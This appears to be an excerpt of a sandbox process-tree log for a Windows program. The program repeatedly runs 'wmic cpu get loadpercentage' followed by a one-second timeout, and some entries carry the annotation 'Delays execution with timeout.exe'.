C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3480
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3484
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:952
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3172
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2744
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3476
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1800
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1712
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1636
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1132
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3684
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4272
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3356
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1652
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2356
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4744
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4468
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2820
-
